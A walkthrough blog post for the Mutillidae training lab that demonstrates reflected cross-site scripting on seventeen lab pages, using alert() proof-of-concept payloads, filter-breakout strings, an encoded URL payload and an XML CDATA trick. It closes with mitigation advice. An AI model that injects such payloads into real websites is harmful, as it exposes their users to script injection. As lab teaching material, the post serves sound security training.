Mutillidae - Cross-Site Scripting (Reflected)

Mutillidae – Cross-Site Scripting (Reflected)

In this walk through, we will be going through the Cross-Site Scripting (Reflected) vulnerability section from Mutillidae Labs. We will be exploring and exploiting Cross-Site Scripting (Reflected) attacks in various applications and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.

Cross-Site Scripting (Reflected)

Security Level: 0 (Hosed)

  • Setting the security level to 0 or Hosed.

Security level 0

1. DNS Lookup

DNS Lookup

<script>alert("Hacked")</script>

payload

Hacked pop up alert

2. Pentest Tool Lookup

Pentest Tool Lookup

Burpsuite intercept

"}});alert(1);//

payload

Pop up alert

3. Text File Viewer

Text File Viewer

Burpsuite intercept

payload

Hacked pop up alert

4. User Lookup

User Lookup

<script>alert("Hacked")</script>

payload

Hacked pop up alert

5. Set Background color

Set Background color

<script>alert("Hacked")</script>

Hacked pop up alert

6. HTML5 Web Storage

HTML5 Web Storage

alert(sessionStorage.getItem("CIA"));

console

Pop up alert

7. Capture Data Page

Data Capture Page

Capture Data Page

Burpsuite intercept

<script>alert("Hacked")</script>

payload

Hacked pop up alert

8. Document Viewer

Document Viewer

Burpsuite intercept

<script>alert("Hacked")</script>

payload

Hacked pop up alert

9. Arbitrary File Inclusion

Arbitrary File Inclusion

URL

http://localhost/mutillidae/index.php?page=%3Cscript%3Ealert(%22Hacked%22)%3C/script%3E

payload

Hacked pop up alert

10. XML Validator

XML Validator

<test>$lDOMDocument>textContent=<![CDATA[<]]>script<![CDATA[>]]>alert('Hacked')<![CDATA[<]]>/script<![CDATA[>]]>
</test>

XML Payload

Hacked pop up alert

11. User Lookup (XPath)

User Lookup (XPath)

<script>alert("Hacked")</script>

payload

Hacked pop up alert

12. Poll Question

Poll Question

Burpsuite intercept

<script>alert("Hacked")</script>

payload

Hacked pop up alert

13. Register User

Register User

<script>alert("Hacked")</script>

payload

Hacked pop up alert

14. Browser Info

Browser Info

Burpsuite intercept

<script>alert("Hacked")</script>

payload

Hacked pop up alert

15. Back button

Back button

Captured data

Bupsuite intercept

<script>alert("Hacked")</script>

Bupsuite intercept

Hacked pop up alert

16. Styling with Mutillidae

Styling with Mutillidae

Burpsuite intercept

<script>alert(1)</script>

payload

Pop up alert

17. Password Generator

Password Generator

anonymous";}catch(e){}alert("Hacked");try{XSS="

Source code

Payload

Hacked pop up alert

Also Read: Mutillidae – CBC bit Flipping

Conclusion:

Conclusion

So, we finally completed all the security levels for the Cross-Site Scripting (Reflected) Vulnerability. We looked into the various ways how application has been set up in various levels and how we can bypass the security controls implemented. Next, we can mitigate the potential Reflected-XSS attacks by performing input sanitization on endpoints, whitelist the allowed characters in the input and using a WAF. On that note, i will take your leave and will meet you in next one with another Mutillidae vulnerability writeup, till then “Keep Hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top